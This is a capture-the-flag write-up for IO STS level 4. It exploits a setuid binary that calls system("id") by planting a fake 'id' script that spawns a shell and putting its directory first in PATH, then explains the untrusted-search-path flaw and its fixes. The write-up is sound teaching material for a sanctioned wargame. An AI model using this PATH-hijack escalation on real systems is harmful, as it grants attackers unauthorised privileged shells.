Level 4, IO STS

Let’s take a look at level04.c

#include <stdlib.h>

int main() {
   system("id");
   return 0;
}

We don’t have much to work with here. Looking up the manual entry of system.

SYSTEM(3)                 Linux Programmer's Manual                 SYSTEM(3)

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

DESCRIPTION
       system() executes a command specified in command by calling /bin/sh -c
       command, and returns after the command  has  been  completed.   During
       execution of the  command, SIGCHLD will be blocked, and SIGINT and
       SIGQUIT will be ignored.

It looks like system("id"); will call /bin/sh -c id. How does /bin/sh know where to look for the program id? There’s an environment variable called PATH where /bin/sh will look for id in the paths.

level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

As you can see, there are a couple of paths that is in the environment variable. /bin/sh will first look in /usr/local/bin for a program named id, followed by /usr/bin, then /bin and so on. Let’s see if we can add our own paths to it.

level4@io:~$ PATH=/levels/
level4@io:~$ echo $PATH
/levels/
level4@io:~$ ls
-bash: ls: command not found
level4@io:~$

We just overwritten the PATH environment variable and now even the command ls could not be found. Okay, now you know how paths work, lets try to get level04 to run our id program.

level4@io:/levels$ mkdir /tmp/level4
level4@io:/levels$ echo 'echo Win! && sh' > /tmp/level4/id
level4@io:/levels$ chmod +x /tmp/level4/id
level4@io:/levels$ PATH=/tmp/level4:$PATH
level4@io:/levels$ ./level04
Win!
sh-4.2$ whoami
level5
sh-4.2$

Here’s what we did:

  1. We created a new directory in /tmp.
  2. Wrote echo Win! && sh into a file id in that new directory.
  3. Made id executable.
  4. Modified PATH to check our new directory first for the program id

The bug in one sentence

The binary runs with the privileges of level5, but it inherits the environment of whoever launched it, and system() resolves its command through that environment’s PATH. That is the whole vulnerability. No memory corruption, no shellcode, just a privileged program trusting a search path that an unprivileged user controls.

system() is the culprit by design. It does not exec a program, it runs /bin/sh -c "id", and the shell does what shells do: it searches PATH left to right for the first executable named id. Swap in execve with an absolute path and this level would not exist. CWE files this as untrusted search element hijacking, and the same class of bug still turns up in setuid tools and cron jobs that call bare command names.

Why each step works

mkdir /tmp/level4 gives you a directory you can write to, since /levels is not writable by players. The file has to be named id because the shell searches for that name and nothing else. chmod +x is not decoration, the kernel refuses to exec a file without the execute bit no matter what the file contains. Prepending your directory to PATH puts it ahead of /bin in the search order, so when system("id") asks the shell for id, your script answers first, prints its banner, and hands you a shell running as level5, which is what the whoami output shows.

What the fix looks like

The rules for a program with elevated privileges fall out of this level. Reset the environment before spawning anything, env -i gives you a clean one. Call binaries by absolute path so no search happens at all. Drop privileges to the least uid that gets the job done, so a hijacked child has nothing worth stealing. And treat everything the calling user controls, environment variables included, as attacker input, because on a wargame box, and on the internet, it is.